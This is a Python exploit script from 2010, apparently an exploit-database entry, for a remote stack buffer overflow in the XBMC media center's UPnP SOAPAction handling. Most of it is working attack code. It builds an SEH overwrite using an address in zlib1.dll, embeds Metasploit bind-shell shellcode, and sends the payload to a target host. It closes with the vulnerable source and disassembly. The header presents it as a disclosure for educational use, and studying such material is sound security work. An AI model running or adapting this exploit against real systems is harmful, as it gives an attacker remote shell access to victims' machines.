#!/usr/bin/env python 

'''                   - XBMC upnp Remote Buffer Overflow -
=========================================================================
! Exploit Title: Xbmc soap_action_name post upnp sscanf buffer overflow !
=========================================================================
Date: 28th October 2010
=======================
Author: n00b  Realname: *carl cope* 
===================================
Software Link: http://xbmc.org/download/
========================================
Version: All versions are affected.
===================================
Tested on: Windows xp sp3,Vista sp2.
XBMC 9.04.1r20672 compiled june 2 2009. <--Version tested.
----------------------------------------------------------


-Description-
Well i had a little time to spare so i decided to revisit the
xbmc application and give it another look over which is a good
thing as i just have not had to time to work on exploit development 
lately and have to put more important things first unfortunately.

I decided to test the upnp protocol that was built into xbmc using the
Platinum UPnP SDK.And come across a sscanf buffer overflow
as you can see in the source code at the bottom of this exploit
that 100 bytes is allocated into a temp stack and then passed to
the sscanf function with no bounds check in place then its finally 
passed to PLT_HttpHelper::ParseBody which reads the xml body and parse it.
I've tested this exploit on windows and linux both work (Read comments).

All versions of xbmc where tested even the Dharma Beta 3 release is
also exploitable.But as ive worked with the xbmc developers before i 
know it will be fixed and patched as soon as i have informed them
great guys unlike other vendors i've worked with in the past.

I know the vulnerable function was marked with FIX ME = no sscanf.
They must have either missed it or have not got round to fixing this
yet.(See bottom of exploit for code)

The buffer overflow exists because of the vulnerable sdk used in the 
xbmc application.All versions of xbmc are exploitable but version 9.11
modules is compiled with seh protection.And i know previous release 
loaded the zlib1 module which was not compiled with safe seh.


See poc code for information and list of vendors.!!

-Description-


----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
 
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!
'''

import sys, socket 
import struct


#Windows version does not change port every time its restarted.!!
#linux version changes port every time xbmc is restarted.!!

port = 52569 #You will have to find it on vuln server.
host = sys.argv[1] 

'''          !!IMPORTATNT!!                       
The UUID must be set i've hardcoded this 
to make it easy to replace with the victim UUID
you can get the UUID number from the server
by issuing a get request to the vulnerable server
on port 00000 you can use a web browser to do this.
example = http://127.0.0.1:00000


-Note-
Just a side note the port is random and once the xbmc
application is installed the UUID will be set up along 
with the port number at installation so you will have to 
do a port scan to find what port the service is running
on but once its found it will be on that port till it 
is reinstalled.Also the UUID will stay the same.

Universally Unique Identifier
---------------------------------------------------
XML example
<UDN>
uuid:0970aa46-ee68-3174-d548-44b656447658
</UDN> 
---------------------------------------------------
-Note-

I was not going to write an xml paraser just for this
when a web browser and a set of eyes can do it.:)

Xbmc media player uses the Platinum UPnP SDK 
http://www.plutinosoft.com/platinum
'''

#Create upnp request and place it in Request !!
Start_url ='AVTransport/'
Uuid = '1edcbdab-e75b-57fe-dbfa-55cc24ee630c' #Replace with the vuln server's Universally Unique Identifier. 
End_url ='/control.xml HTTP/1.1\n'
Soap = 'SOAPACTION: "urn:schemas-upnp-org:service:AVTransport:1#'
Junk_buffer1 = 'A'*128
Junk_buffer2 = 'B'*100

###The same address i used for the last xbmc exploits.
###/SafeSEH Module Scanner, item 55
# SEH mode=/SafeSEH OFF
# Base=0x62e80000
# Limit=0x62e97000
# Module Name=C:\Program Files\XBMC\zlib1.dll
###
###This was found in the module zlib1 and is universal.
#62E83BAC   5B               POP EBX
#62E83BAD   5D               POP EBP
#62E83BAE  ^E9 CDD9FFFF      JMP zlib1.compressBound

Pointer_To_Next_SEH = struct.pack('<L',0x909006eb)
SE_Handler = struct.pack('<L',0x62E83BAC)
Content_type = '\nCONTENT-TYPE:text/xml; charset="utf-8"\n'
Host = 'HOST: 192.168.1.2:50988\n'
Content_length = 'Content-Length: 345'

Shell_code=(#/*win32_bind -  EXITFUNC=seh LPORT=4444 Size=696
            #Encoder=Alpha2 http://metasploit.com */
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x37\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x69"
    "\x58\x50\x30\x42\x30\x42\x6b\x42\x41\x79\x32\x42\x42\x32\x41\x42"
    "\x42\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4d\x39\x39\x6c\x31"
    "\x7a\x4a\x4b\x72\x6d\x59\x78\x78\x79\x59\x6f\x49\x6f\x79\x6f\x45"
    "\x30\x4c\x4b\x70\x6c\x61\x34\x34\x64\x6c\x4b\x71\x55\x77\x4c\x4c"
    "\x4b\x63\x4c\x43\x35\x41\x68\x56\x61\x68\x6f\x4e\x6b\x70\x4f\x56"
    "\x78\x6e\x6b\x51\x4f\x65\x70\x77\x71\x5a\x4b\x31\x59\x6e\x6b\x47"
    "\x44\x6e\x6b\x45\x51\x6a\x4e\x75\x61\x6b\x70\x6c\x59\x6e\x4c\x4d"
    "\x54\x4f\x30\x31\x64\x54\x47\x59\x51\x39\x5a\x46\x6d\x77\x71\x39"
    "\x52\x78\x6b\x6b\x44\x57\x4b\x73\x64\x51\x34\x71\x38\x30\x75\x6d"
    "\x35\x6c\x4b\x71\x4f\x74\x64\x73\x31\x78\x6b\x51\x76\x4c\x4b\x74"
    "\x4c\x70\x4b\x4e\x6b\x51\x4f\x77\x6c\x36\x61\x4a\x4b\x43\x33\x56"
    "\x4c\x4e\x6b\x4c\x49\x30\x6c\x47\x54\x45\x4c\x31\x71\x78\x43\x30"
    "\x31\x4b\x6b\x50\x64\x6c\x4b\x50\x43\x70\x30\x4e\x6b\x57\x30\x34"
    "\x4c\x4e\x6b\x32\x50\x55\x4c\x6c\x6d\x4e\x6b\x41\x50\x63\x38\x61"
    "\x4e\x55\x38\x4e\x6e\x50\x4e\x66\x6e\x4a\x4c\x50\x50\x49\x6f\x6e"
    "\x36\x52\x46\x36\x33\x70\x66\x30\x68\x44\x73\x65\x62\x30\x68\x44"
    "\x37\x73\x43\x35\x62\x31\x4f\x71\x44\x4b\x4f\x38\x50\x45\x38\x5a"
    "\x6b\x78\x6d\x6b\x4c\x75\x6b\x56\x30\x79\x6f\x6b\x66\x61\x4f\x4f"
    "\x79\x6b\x55\x43\x56\x4c\x41\x7a\x4d\x37\x78\x35\x52\x66\x35\x50"
    "\x6a\x34\x42\x79\x6f\x58\x50\x41\x78\x78\x59\x67\x79\x4c\x35\x6e"
    "\x4d\x73\x67\x79\x6f\x4e\x36\x50\x53\x46\x33\x76\x33\x42\x73\x51"
    "\x43\x53\x73\x70\x53\x77\x33\x56\x33\x6b\x4f\x78\x50\x65\x36\x43"
    "\x58\x66\x71\x31\x4c\x73\x56\x33\x63\x6c\x49\x59\x71\x7a\x35\x30"
    "\x68\x4e\x44\x36\x7a\x62\x50\x39\x57\x76\x37\x6b\x4f\x6b\x66\x43"
    "\x5a\x32\x30\x72\x71\x32\x75\x39\x6f\x58\x50\x30\x68\x39\x34\x4e"
    "\x4d\x66\x4e\x4a\x49\x51\x47\x4b\x4f\x49\x46\x66\x33\x62\x75\x79"
    "\x6f\x4a\x70\x62\x48\x4d\x35\x33\x79\x6b\x36\x71\x59\x66\x37\x4b"
    "\x4f\x5a\x76\x76\x30\x50\x54\x70\x54\x70\x55\x4b\x4f\x6e\x30\x4a"
    "\x33\x30\x68\x4b\x57\x43\x49\x38\x46\x74\x39\x63\x67\x6b\x4f\x58"
    "\x56\x61\x45\x4b\x4f\x6e\x30\x51\x76\x41\x7a\x65\x34\x42\x46\x31"
    "\x78\x30\x63\x62\x4d\x6f\x79\x6b\x55\x33\x5a\x36\x30\x56\x39\x31"
    "\x39\x48\x4c\x4f\x79\x6d\x37\x73\x5a\x33\x74\x6b\x39\x6d\x32\x67"
    "\x41\x59\x50\x6c\x33\x6c\x6a\x79\x6e\x33\x72\x54\x6d\x49\x6e\x70"
    "\x42\x34\x6c\x6e\x73\x6c\x4d\x30\x7a\x34\x78\x4c\x6b\x4c\x6b\x4c"
    "\x6b\x42\x48\x50\x72\x39\x6e\x6d\x63\x52\x36\x49\x6f\x61\x65\x50"
    "\x44\x49\x6f\x7a\x76\x63\x6b\x71\x47\x31\x42\x73\x61\x51\x41\x66"
    "\x31\x30\x6a\x44\x41\x31\x41\x63\x61\x71\x45\x32\x71\x59\x6f\x6e"
    "\x30\x70\x68\x4c\x6d\x6e\x39\x53\x35\x7a\x6e\x41\x43\x49\x6f\x79"
    "\x46\x52\x4a\x6b\x4f\x6b\x4f\x65\x67\x4b\x4f\x7a\x70\x6e\x6b\x30"
    "\x57\x59\x6c\x6d\x53\x6a\x64\x50\x64\x39\x6f\x5a\x76\x52\x72\x39"
    "\x6f\x5a\x70\x50\x68\x58\x70\x6f\x7a\x54\x44\x63\x6f\x52\x73\x4b"
    "\x4f\x6a\x76\x49\x6f\x4e\x30\x69"
)

# create a socket object called 'c' 
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

# connect to the socket 
c.connect((host, port)) 

Request = (Start_url + Uuid + End_url + Soap + Junk_buffer1 + Pointer_To_Next_SEH +
 SE_Handler + Shell_code + Junk_buffer2 + Content_type + Host + Content_length)

# create a file-like object to read 
fileobj = c.makefile('r', 0) 
 
fileobj.write("POST /"+Request+"") 




#                  -Vulnerable source code-
# This information was found using windows 7 + Visual c++ 2010 express.

# .\xbmc\xbmc\lib\libUPnP\Platinum\Source\Core\PltDeviceHost.cpp

# /*----------------------------------------------------------------------
# |   PLT_DeviceHost::ProcessPostRequest
# +---------------------------------------------------------------------*/
# NPT_Result
# PLT_DeviceHost::ProcessHttpPostRequest(NPT_HttpRequest&              request,
                                       # const NPT_HttpRequestContext& context,
                                       # NPT_HttpResponse&             response) 
# {
    # NPT_Result                res;
    # NPT_String                service_type;
    # NPT_String                str;
    # NPT_XmlElementNode*       xml = NULL;
    # NPT_String                soap_action_header;
    # PLT_Service*              service;
    # NPT_XmlElementNode*       soap_body;
    # NPT_XmlElementNode*       soap_action;
    # const NPT_String*         attr;
    # PLT_ActionDesc*           action_desc;
    # PLT_ActionReference       action;
    # NPT_MemoryStreamReference resp(new NPT_MemoryStream);
    # NPT_String                ip_address  = context.GetRemoteAddress().GetIpAddress().ToString();
    # NPT_String                method      = request.GetMethod();
    # NPT_String                url         = request.GetUrl().ToRequestString(true);
    # NPT_String                protocol    = request.GetProtocol();

    # if (NPT_FAILED(FindServiceByControlURL(url, service, true)))
        # goto bad_request;

    # if (!request.GetHeaders().GetHeaderValue("SOAPAction"))
        # goto bad_request;

    # // extract the soap action name from the header
    # soap_action_header = *request.GetHeaders().GetHeaderValue("SOAPAction");
    # soap_action_header.TrimLeft('"');
    # soap_action_header.TrimRight('"');
    # char prefix[200];
    # char soap_action_name[100];                    <--- 100 bytes allocated for the soap action name.
    # int  ret;
    # //FIXME: no sscanf
    # ret = sscanf(soap_action_header, "%[^#]#%s",   <--- 
                 # prefix,                           <--- Bad very Bad.
                 # soap_action_name);                <--- 
    # if (ret != 2)
        # goto bad_request;

    # // read the xml body and parse it
    # if (NPT_FAILED(PLT_HttpHelper::ParseBody(request, xml))) <--- BOOOM I WIN!!
        # goto bad_request;

# Disassembly of vulnerable function.!!
# ==================================
# 025D2D23  lea         edx,[ebp-1F4h]  
# 025D2D29  push        edx  
# 025D2D2A  lea         eax,[ebp-188h]  
# 025D2D30  push        eax  
# 025D2D31  push        2F5E404h  
# 025D2D36  lea         ecx,[ebp-44h]  
# 025D2D39  call        NPT_String::operator char const * (1B1840Eh)  
# 025D2D3E  push        eax  
# 025D2D3F  call        @ILT+120575(_sscanf) (1AF7704h)  
# 025D2D44  add         esp,10h  
# 025D2D47  mov         dword ptr [ebp-1FCh],eax